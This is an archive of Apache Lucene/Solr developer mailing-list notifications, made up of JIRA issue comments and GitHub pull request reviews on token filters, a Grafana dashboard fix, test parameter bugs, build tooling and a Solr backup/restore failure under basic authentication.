[ https://issues.apache.org/jira/browse/LUCENE-9579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214897#comment-17214897 ] ASF subversion and git services commented on LUCENE-9579: - Commit 9805b125dc85681fe1d55bb99748deaa03999b3b in lucene-solr's branch refs/heads/pr1985 from Mike Drob [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=9805b12 ] LUCENE-9579 Update to JUnit 4.13.1 (#1981) > Update JUnit to latest 4.x release > -- > > Key: LUCENE-9579 > URL: https://issues.apache.org/jira/browse/LUCENE-9579 > Project: Lucene - Core > Issue Type: Test >Reporter: Mike Drob >Assignee: Mike Drob >Priority: Major > Fix For: master (9.0), 8.7 > > Time Spent: 40m > Remaining Estimate: 0h > -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (LUCENE-9574) Add a token filter to drop tokens based on flags.
[ https://issues.apache.org/jira/browse/LUCENE-9574?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214896#comment-17214896 ] ASF subversion and git services commented on LUCENE-9574: - Commit ab5671d367eb0099269bb91696c5b8c84090485f in lucene-solr's branch refs/heads/pr1985 from Gus Heck [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ab5671d ] LUCENE-9574 Add DropIfFlaggedFilterFactory (#1979) > Add a token filter to drop tokens based on flags. > - > > Key: LUCENE-9574 > URL: https://issues.apache.org/jira/browse/LUCENE-9574 > Project: Lucene - Core > Issue Type: New Feature > Components: modules/analysis >Reporter: Gus Heck >Assignee: Gus Heck >Priority: Major > Time Spent: 8h 10m > Remaining Estimate: 0h > > (Breaking this off of SOLR-14597 for independent review) > A filter that tests flags on tokens vs a bitmask and drops tokens that have > all specified flags. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) remove rulebased replica placement strategy
[ https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214902#comment-17214902 ] ASF subversion and git services commented on SOLR-14930: Commit 0bd2f314b71f891731a11202ba926fb02ff9c338 in lucene-solr's branch refs/heads/pr1985 from Munendra S N [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=0bd2f31 ] SOLR-14930: fix precommit > remove rulebased replica placement strategy > --- > > Key: SOLR-14930 > URL: https://issues.apache.org/jira/browse/SOLR-14930 > Project: Solr > Issue Type: Task > Security Level: Public(Default Security Level. Issues are Public) >Reporter: Noble Paul >Assignee: Noble Paul >Priority: Major > Time Spent: 40m > Remaining Estimate: 0h > > This should be removed from 9.0 > This will be replaced in Solr 9.0 by APIs for replica placement and cluster > events, with plugin-based implementations. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709500927 In re-reading things, I think it just dawned on me that I'm not quite maintaining back compatibility after all. Previously no flags at all were transferred, yet my ~0 default now copies all flags. ( x & ~0 = x) but the prior functionality was no flags copied which would be ( x & 0 = 0) (plus we could test for 0 and just not set flags at all) This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] epugh opened a new pull request #1988: SOLR-14483
epugh opened a new pull request #1988: URL: https://github.com/apache/lucene-solr/pull/1988 # Description This builds on the work started in PR #1985 # Solution Update to the CSS and JS to fix functionality. # Tests Manually tested. # Checklist Please review the following and check all that apply: - [X ] I have reviewed the guidelines for [How to Contribute](https://wiki.apache.org/solr/HowToContribute) and my code conforms to the standards described there to the best of my ability. - [ X] I have created a Jira issue and added the issue ID to my pull request title. - [X ] I have given Solr maintainers [access](https://help.github.com/en/articles/allowing-changes-to-a-pull-request-branch-created-from-a-fork) to contribute to my PR branch. (optional but recommended) - [ X] I have developed this patch against the `master` branch. - [ X] I have run `./gradlew check`. - [ ] I have added tests for my changes. - [ ] I have added documentation for the [Ref Guide](https://github.com/apache/lucene-solr/tree/master/solr/solr-ref-guide) (for Solr changes only). This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14575) Solr restore is failing when basic authentication is enabled
[
https://issues.apache.org/jira/browse/SOLR-14575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214889#comment-17214889
]
Yaswanth commented on SOLR-14575:
-
[~janhoy] any help about the above would be greatly appreciated.
> Solr restore is failing when basic authentication is enabled
>
>
> Key: SOLR-14575
> URL: https://issues.apache.org/jira/browse/SOLR-14575
> Project: Solr
> Issue Type: Bug
> Components: Backup/Restore
>Affects Versions: 8.2
>Reporter: Yaswanth
>Priority: Major
>
> Hi Team,
> I was testing backup / restore for solrcloud and its failing exactly when I
> am trying to restore a successfully backed up collection.
> I am using solr 8.2 with basic authentication enabled and then creating a 2
> replica collection. When I run the backup like
> curl -u xxx:xxx -k
> '[https://x.x.x.x:8080/solr/admin/collections?action=BACKUP&name=test&collection=test&location=/solrdatabkup'|https://x.x.x.x:8080/solr/admin/collections?action=BACKUP&name=test&collection=test&location=/solrdatabkup%27]
> it worked fine and I do see a folder was created with the collection name
> under /solrdatabackup
> But now when I deleted the existing collection and then try running restore
> api like
> curl -u xxx:xxx -k
> '[https://x.x.x.x:8080/solr/admin/collections?action=RESTORE&name=test&collection=test&location=/solrdatabkup'|https://x.x.x.x:8080/solr/admin/collections?action=BACKUP&name=test&collection=test&location=/solrdatabkup%27]
> its throwing an error like
> {
> "responseHeader":{
> "status":500,
> "QTime":457},
> "Operation restore caused
> *exception:":"org.apache.solr.common.SolrException:org.apache.solr.common.SolrException:
> ADDREPLICA failed to create replica",*
> "exception":{
> "msg":"ADDREPLICA failed to create replica",
> "rspCode":500},
> "error":{
> "metadata":[
> "error-class","org.apache.solr.common.SolrException",
> "root-error-class","org.apache.solr.common.SolrException"],
> "msg":"ADDREPLICA failed to create replica",
> "trace":"org.apache.solr.common.SolrException: ADDREPLICA failed to create
> replica\n\tat
> org.apache.solr.client.solrj.SolrResponse.getException(SolrResponse.java:53)\n\tat
>
> org.apache.solr.handler.admin.CollectionsHandler.invokeAction(CollectionsHandler.java:280)\n\tat
>
> org.apache.solr.handler.admin.CollectionsHandler.handleRequestBody(CollectionsHandler.java:252)\n\tat
>
> org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:199)\n\tat
>
> org.apache.solr.servlet.HttpSolrCall.handleAdmin(HttpSolrCall.java:820)\n\tat
> org.apache.solr.servlet.HttpSolrCall.handleAdminRequest(HttpSolrCall.java:786)\n\tat
> org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:546)\n\tat
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:423)\n\tat
>
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:350)\n\tat
>
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)\n\tat
>
> org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)\n\tat
>
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:146)\n\tat
>
> org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)\n\tat
>
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)\n\tat
>
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:257)\n\tat
>
> org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1711)\n\tat
>
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:255)\n\tat
>
> org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1347)\n\tat
>
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:203)\n\tat
>
> org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:480)\n\tat
>
> org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1678)\n\tat
>
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:201)\n\tat
>
> org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1249)\n\tat
>
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:144)\n\tat
>
> org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:220)\n\tat
>
> org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:152)\n\tat
>
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)\n\tat
>
> org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)\n\tat
>
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper
[jira] [Comment Edited] (SOLR-14936) Grafana dashboard filters for collection, shard, replica, core not working
[
https://issues.apache.org/jira/browse/SOLR-14936?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214767#comment-17214767
]
Jan Høydahl edited comment on SOLR-14936 at 10/15/20, 5:43 PM:
---
PR: [GitHub Pull Request #1986|https://github.com/apache/lucene-solr/pull/1986]
Fixes to the Grafana JSON only. Now the dropdowns actually affect the graphs,
so you can filter graphs on collection, shard etc. Also, the dropdowns filter
each other, so when a collection is selected, only shards, replicas and cores
belonging to the shard are included in graphs.
I did not succeed in listing only relevant collections when a {{base_url}} is
selected. So right now, base_url will filter the OS/node level graphs, and the
collection/shard/replica/core will filter the core-level graphs.
I hope to commit this in time for 8.7 as it is low risk. I'll also upload the
same config to Grafana.com
was (Author: janhoy):
Fixes to the Grafana JSON only. Now the dropdowns actually affect the graphs,
so you can filter graphs on collection, shard etc. Also, the dropdowns filter
each other, so when a collection is selected, only shards, replicas and cores
belonging to the shard are included in graphs.
I did not succeed in listing only relevant collections when a {{base_url}} is
selected. So right now, base_url will filter the OS/node level graphs, and the
collection/shard/replica/core will filter the core-level graphs.
I hope to commit this in time for 8.7 as it is low risk. I'll also upload the
same config to Grafana.com
> Grafana dashboard filters for collection, shard, replica, core not working
> --
>
> Key: SOLR-14936
> URL: https://issues.apache.org/jira/browse/SOLR-14936
> Project: Solr
> Issue Type: Bug
> Security Level: Public(Default Security Level. Issues are Public)
> Components: contrib - prometheus-exporter
>Reporter: Jan Høydahl
>Assignee: Jan Høydahl
>Priority: Major
> Labels: grafana, prometheus
> Attachments: image-2020-10-15-15-33-22-332.png
>
> Time Spent: 10m
> Remaining Estimate: 0h
>
> !image-2020-10-15-15-33-22-332.png!
> [https://lucene.apache.org/solr/guide/8_6/monitoring-solr-with-prometheus-and-grafana.html#sample-grafana-dashboard]
>
> On top of the Grafana dashboard for the Prometheus Exporter, there are some
> drop downs intended to filter the graphs. Only the {{zk_host}} and
> {{base_url}} dropdowns seem to work. For the collection, shard, replicas and
> core, they only list "All" value.
> Investigation showed that the dashboard was never really completed. Grafana
> template variable definitions were mostly wrong (using {{=}} instead of
> {{=~)}}, and lots of core graph definitions only filtered on {{base_url}},
> not all the others.
>
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Updated] (SOLR-14936) Grafana dashboard filters for collection, shard, replica, core not working
[
https://issues.apache.org/jira/browse/SOLR-14936?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Jan Høydahl updated SOLR-14936:
---
Description:
!image-2020-10-15-15-33-22-332.png!
[https://lucene.apache.org/solr/guide/8_6/monitoring-solr-with-prometheus-and-grafana.html#sample-grafana-dashboard]
On top of the Grafana dashboard for the Prometheus Exporter, there are some
drop downs intended to filter the graphs. Only the {{zk_host}} and {{base_url}}
dropdowns seem to work. For the collection, shard, replicas and core, they only
list "All" value.
Investigation showed that the dashboard was never really completed. Grafana
template variable definitions were mostly wrong (using {{=}} instead of
{{=~)}}, and lots of core graph definitions only filtered on {{base_url}}, not
all the others.
was:
!image-2020-10-15-15-33-22-332.png!
On top of the Grafana dashboard for the Prometheus Exporter, there are some
drop downs intended to filter the graphs. Only the {{zk_host}} and {{base_url}}
dropdowns seem to work. For the collection, shard, replicas and core, they only
list "All" value.
[https://lucene.apache.org/solr/guide/8_6/monitoring-solr-with-prometheus-and-grafana.html#sample-grafana-dashboard]
> Grafana dashboard filters for collection, shard, replica, core not working
> --
>
> Key: SOLR-14936
> URL: https://issues.apache.org/jira/browse/SOLR-14936
> Project: Solr
> Issue Type: Bug
> Security Level: Public(Default Security Level. Issues are Public)
> Components: contrib - prometheus-exporter
>Reporter: Jan Høydahl
>Assignee: Jan Høydahl
>Priority: Major
> Labels: grafana, prometheus
> Attachments: image-2020-10-15-15-33-22-332.png
>
> Time Spent: 10m
> Remaining Estimate: 0h
>
> !image-2020-10-15-15-33-22-332.png!
> [https://lucene.apache.org/solr/guide/8_6/monitoring-solr-with-prometheus-and-grafana.html#sample-grafana-dashboard]
>
> On top of the Grafana dashboard for the Prometheus Exporter, there are some
> drop downs intended to filter the graphs. Only the {{zk_host}} and
> {{base_url}} dropdowns seem to work. For the collection, shard, replicas and
> core, they only list "All" value.
> Investigation showed that the dashboard was never really completed. Grafana
> template variable definitions were mostly wrong (using {{=}} instead of
> {{=~)}}, and lots of core graph definitions only filtered on {{base_url}},
> not all the others.
>
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on a change in pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on a change in pull request #1965:
URL: https://github.com/apache/lucene-solr/pull/1965#discussion_r505704432
##
File path:
lucene/test-framework/src/java/org/apache/lucene/analysis/BaseTokenStreamTestCase.java
##
@@ -390,19 +406,19 @@ public static void assertAnalyzesTo(Analyzer a, String
input, String[] output, i
}
public static void assertAnalyzesTo(Analyzer a, String input, String[]
output, int startOffsets[], int endOffsets[], String types[], int
posIncrements[], int posLengths[], boolean graphOffsetsAreCorrect, byte[][]
payloads) throws IOException {
-assertTokenStreamContents(a.tokenStream("dummy", input), output,
startOffsets, endOffsets, types, posIncrements, posLengths, input.length(),
null, null, graphOffsetsAreCorrect, payloads);
+assertTokenStreamContents(a.tokenStream("dummy", input), output,
startOffsets, endOffsets, types, posIncrements, posLengths, input.length(),
null, null, graphOffsetsAreCorrect, payloads, null);
Review comment:
ok
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on a change in pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on a change in pull request #1965:
URL: https://github.com/apache/lucene-solr/pull/1965#discussion_r505703635
##
File path:
lucene/analysis/common/src/java/org/apache/lucene/analysis/miscellaneous/TypeAsSynonymFilterFactory.java
##
@@ -46,10 +49,17 @@
public static final String NAME = "typeAsSynonym";
private final String prefix;
+ private Set ignore = null;
+ private final int synFlagMask;
public TypeAsSynonymFilterFactory(Map args) {
super(args);
prefix = get(args, "prefix"); // default value is null
+String ignoreList = get(args, "ignore");
+synFlagMask = getInt(args,"synFlagsMask", ~0);
+if (ignoreList != null) {
+ ignore = Set.of(ignoreList.split(","));
+}
Review comment:
Ah cool.
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] sarowe commented on a change in pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
sarowe commented on a change in pull request #1965:
URL: https://github.com/apache/lucene-solr/pull/1965#discussion_r505683835
##
File path:
lucene/analysis/common/src/java/org/apache/lucene/analysis/miscellaneous/TypeAsSynonymFilterFactory.java
##
@@ -18,12 +18,15 @@
package org.apache.lucene.analysis.miscellaneous;
import java.util.Map;
+import java.util.Set;
import org.apache.lucene.analysis.TokenStream;
import org.apache.lucene.analysis.TokenFilterFactory;
/**
* Factory for {@link TypeAsSynonymFilter}.
+ *
+ * In Solr this might be used as such
Review comment:
Consider adding configuration for the new features to the example Solr
configuration.
##
File path:
lucene/analysis/common/src/test/org/apache/lucene/analysis/miscellaneous/TestTypeAsSynonymFilter.java
##
@@ -0,0 +1,98 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.lucene.analysis.miscellaneous;
+
+import java.util.Collections;
+import java.util.Set;
+
+import org.apache.lucene.analysis.BaseTokenStreamTestCase;
+import org.apache.lucene.analysis.CannedTokenStream;
+import org.apache.lucene.analysis.Token;
+import org.apache.lucene.analysis.TokenStream;
+
+/**
+ * Test that this filter moves the value in type to a synonym token with the
same offsets. This is rarely
+ * useful by itself, but in combination with another filter that updates the
type value with an appropriate
+ * synonym can be used to identify synonyms before tokens are modified by
further analysis, and then
+ * add them at the end, ensuring that the synonym value has not ben subjected
to the intervening analysis.
Review comment:
typo: ben
##
File path:
lucene/test-framework/src/java/org/apache/lucene/analysis/BaseTokenStreamTestCase.java
##
@@ -390,19 +406,19 @@ public static void assertAnalyzesTo(Analyzer a, String
input, String[] output, i
}
public static void assertAnalyzesTo(Analyzer a, String input, String[]
output, int startOffsets[], int endOffsets[], String types[], int
posIncrements[], int posLengths[], boolean graphOffsetsAreCorrect, byte[][]
payloads) throws IOException {
-assertTokenStreamContents(a.tokenStream("dummy", input), output,
startOffsets, endOffsets, types, posIncrements, posLengths, input.length(),
null, null, graphOffsetsAreCorrect, payloads);
+assertTokenStreamContents(a.tokenStream("dummy", input), output,
startOffsets, endOffsets, types, posIncrements, posLengths, input.length(),
null, null, graphOffsetsAreCorrect, payloads, null);
Review comment:
Since you put back the original method, I think you can also revert this
change?
##
File path:
lucene/analysis/common/src/java/org/apache/lucene/analysis/miscellaneous/TypeAsSynonymFilterFactory.java
##
@@ -46,10 +49,17 @@
public static final String NAME = "typeAsSynonym";
private final String prefix;
+ private Set ignore = null;
+ private final int synFlagMask;
public TypeAsSynonymFilterFactory(Map args) {
super(args);
prefix = get(args, "prefix"); // default value is null
+String ignoreList = get(args, "ignore");
+synFlagMask = getInt(args,"synFlagsMask", ~0);
+if (ignoreList != null) {
+ ignore = Set.of(ignoreList.split(","));
+}
Review comment:
There is a method `getSet()` which you could use instead of `get()` for
the ignoreList; it does the splitting for you, and also supports mixed
space/comma separators.
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] sarowe commented on a change in pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
sarowe commented on a change in pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#discussion_r505682461 ## File path: lucene/analysis/common/src/java/org/apache/lucene/analysis/miscellaneous/TypeAsSynonymFilter.java ## @@ -34,23 +36,39 @@ private final CharTermAttribute termAtt = addAttribute(CharTermAttribute.class); Review comment: Consider adding the new features to the class comment This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] cpoerschke commented on a change in pull request #1870: SOLR-14865: 'Index Merge Metrics' documentation correction
cpoerschke commented on a change in pull request #1870: URL: https://github.com/apache/lucene-solr/pull/1870#discussion_r505680828 ## File path: solr/solr-ref-guide/src/metrics-reporting.adoc ## @@ -534,15 +534,34 @@ These metrics are available only on a per-core basis. Metrics can be aggregated These metrics are collected in respective registries for each core (e.g., `solr.core.collection1`), under the `INDEX` category. -Basic metrics are always collected - collection of additional metrics can be turned on using boolean parameters in the `/config/indexConfig/metrics` section of `solrconfig.xml`: +Metrics collection is controlled by boolean parameters in the `/config/indexConfig/metrics` section of `solrconfig.xml`: + Review comment: Interesting find! Yes, I can see that above the _"The metrics available in your system can be customized by modifying the `` element in `solr.xml`."_ wording is used and `` is more pleasant to read than `/config/indexConfig/metrics` though that's subjective of course. The context helps differentiate between the different `` elements and so yes, I agree it would be less jarring (and shorter!) to not use the fully qualified XML path here. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] cpoerschke opened a new pull request #1987: SOLR-14937: Correct client.queryDefaults().set(...) calls in some JSON facet tests.
cpoerschke opened a new pull request #1987: URL: https://github.com/apache/lucene-solr/pull/1987 https://issues.apache.org/jira/browse/SOLR-14937 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Updated] (SOLR-14937) client.queryDefaults().set(...) misunderstanding in JSON facet tests
[
https://issues.apache.org/jira/browse/SOLR-14937?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Christine Poerschke updated SOLR-14937:
---
Summary: client.queryDefaults().set(...) misunderstanding in JSON facet
tests (was: lient.queryDefaults().set(...) misunderstanding in JSON facet
tests)
> client.queryDefaults().set(...) misunderstanding in JSON facet tests
>
>
> Key: SOLR-14937
> URL: https://issues.apache.org/jira/browse/SOLR-14937
> Project: Solr
> Issue Type: Test
>Reporter: Christine Poerschke
>Assignee: Christine Poerschke
>Priority: Minor
>
> I noticed today that we have
> {code:java}
> client.queryDefaults().set("shards", "foo", "debugQuery", "bar");
> {code}
> style usage in some tests and whilst this was likely intended to result in
> {code:java}
> { "shards" : "foo", "debugQuery" : "bar" }
> {code}
> query defaults it actually results in
> {code:java}
> { "shards" : [ "foo", "debugQuery" , "bar" ] }
> {code}
> query defaults based on the {{ModifiableSolrParams.set}} implementation:
> [https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.6.3/solr/solrj/src/java/org/apache/solr/common/params/ModifiableSolrParams.java#L86-L96]
> A possible alternative is
> {code:java}
> client.queryDefaults().set("shards", "foo").set("debugQuery", "bar");
> {code}
> style usage.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Created] (SOLR-14937) lient.queryDefaults().set(...) misunderstanding in JSON facet tests
Christine Poerschke created SOLR-14937:
--
Summary: lient.queryDefaults().set(...) misunderstanding in JSON
facet tests
Key: SOLR-14937
URL: https://issues.apache.org/jira/browse/SOLR-14937
Project: Solr
Issue Type: Test
Reporter: Christine Poerschke
Assignee: Christine Poerschke
I noticed today that we have
{code:java}
client.queryDefaults().set("shards", "foo", "debugQuery", "bar");
{code}
style usage in some tests and whilst this was likely intended to result in
{code:java}
{ "shards" : "foo", "debugQuery" : "bar" }
{code}
query defaults it actually results in
{code:java}
{ "shards" : [ "foo", "debugQuery" , "bar" ] }
{code}
query defaults based on the {{ModifiableSolrParams.set}} implementation:
[https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.6.3/solr/solrj/src/java/org/apache/solr/common/params/ModifiableSolrParams.java#L86-L96]
A possible alternative is
{code:java}
client.queryDefaults().set("shards", "foo").set("debugQuery", "bar");
{code}
style usage.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14647) Importing Gradle Projects into Eclipse pollutes checkout
[
https://issues.apache.org/jira/browse/SOLR-14647?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214802#comment-17214802
]
Robert Muir commented on SOLR-14647:
I think i figured out where it comes from at least when it happened in my case.
My problem is that I used the eclipse gui to modify the eclipse "build path" (I
added missing-doclet sources to hack on it). After doing this, eclipse changes
.classpath to add the new entry, which is fine.
Then later, after a successful compile, it seems to ensure whatever output
folder you configured is added to .gitignore and will modify .gitignore. In my
case it wasn't {{bin}} but something else, but it explains how it happened.
> Importing Gradle Projects into Eclipse pollutes checkout
>
>
> Key: SOLR-14647
> URL: https://issues.apache.org/jira/browse/SOLR-14647
> Project: Solr
> Issue Type: Bug
> Components: Build
>Affects Versions: master (9.0)
>Reporter: James Dyer
>Assignee: James Dyer
>Priority: Minor
> Fix For: master (9.0)
>
> Attachments: SOLR-14647.patch
>
>
> Switch to master branch, then open Eclipse IDE and select "file > import >
> existing gradle project" to import lucene/solr. Afterwards, "git status"
> shows unstaged ".project", ".classpath", ".settings" and "bin"
> files/directories.
> Adjust the .gitignore file to correctly filter these out.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14907) Support single file upload/overwrite in configSet API
[
https://issues.apache.org/jira/browse/SOLR-14907?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214775#comment-17214775
]
Houston Putman commented on SOLR-14907:
---
+1 on supporting the V2 API, but since it fits fairly well into the V1 API I'm
not sure we should make it V2 only. And I like the suggested path, though I
might change file-name to be a urlParam instead of a part of the path, because
it could contain multiple {{/}}s, which might be confusing.
According to the ref guide, the UPLOAD configSet command does not have a V2 API
yet. Maybe we create another ticket to add a v2 command for configSet upload,
and this can be a part of that ticket.
> Support single file upload/overwrite in configSet API
> -
>
> Key: SOLR-14907
> URL: https://issues.apache.org/jira/browse/SOLR-14907
> Project: Solr
> Issue Type: Improvement
> Components: configset-api
>Reporter: Houston Putman
>Assignee: Houston Putman
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 40m
> Remaining Estimate: 0h
>
> After SOLR-10391 was implemented, users are now able to overwrite existing
> configSets using the configSet API. However the files uploaded are still
> required to be zipped and indexed from the base configSet path in ZK. Users
> might want to just update a single file, such as a synonyms list, and not
> have to tar it up first.
> The proposed solution is to add parameters to the UPLOAD configSet action, to
> allow this single-file use case. This would utilize the protections already
> provided by the API, such as maintaining the trustiness of configSets being
> modified.
> This feature is part of the solution to replace managed resources, which is
> planned to be deprecated and removed by 9.0 (SOLR-14766).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709404255 Well that was misleading. Rat is happy locally, not sure why github was blaming RulesTest's rat analysis. I did find a couple of unused imports, and realized that apparently `gradlew :lucene:check` doesn't run ecjLint as I had expected. Just for fun javadocs were running out of memory locally when I tried a full top level precommit which gives this lovely cryptic message: ``` * What went wrong: Execution failed for task ':lucene:demo:renderJavadoc'. > java.io.IOException: Stream Closed ``` (had to edit line 543 of render-javadoc.gradle to get it to work) This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14936) Grafana dashboard filters for collection, shard, replica, core not working
[
https://issues.apache.org/jira/browse/SOLR-14936?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214771#comment-17214771
]
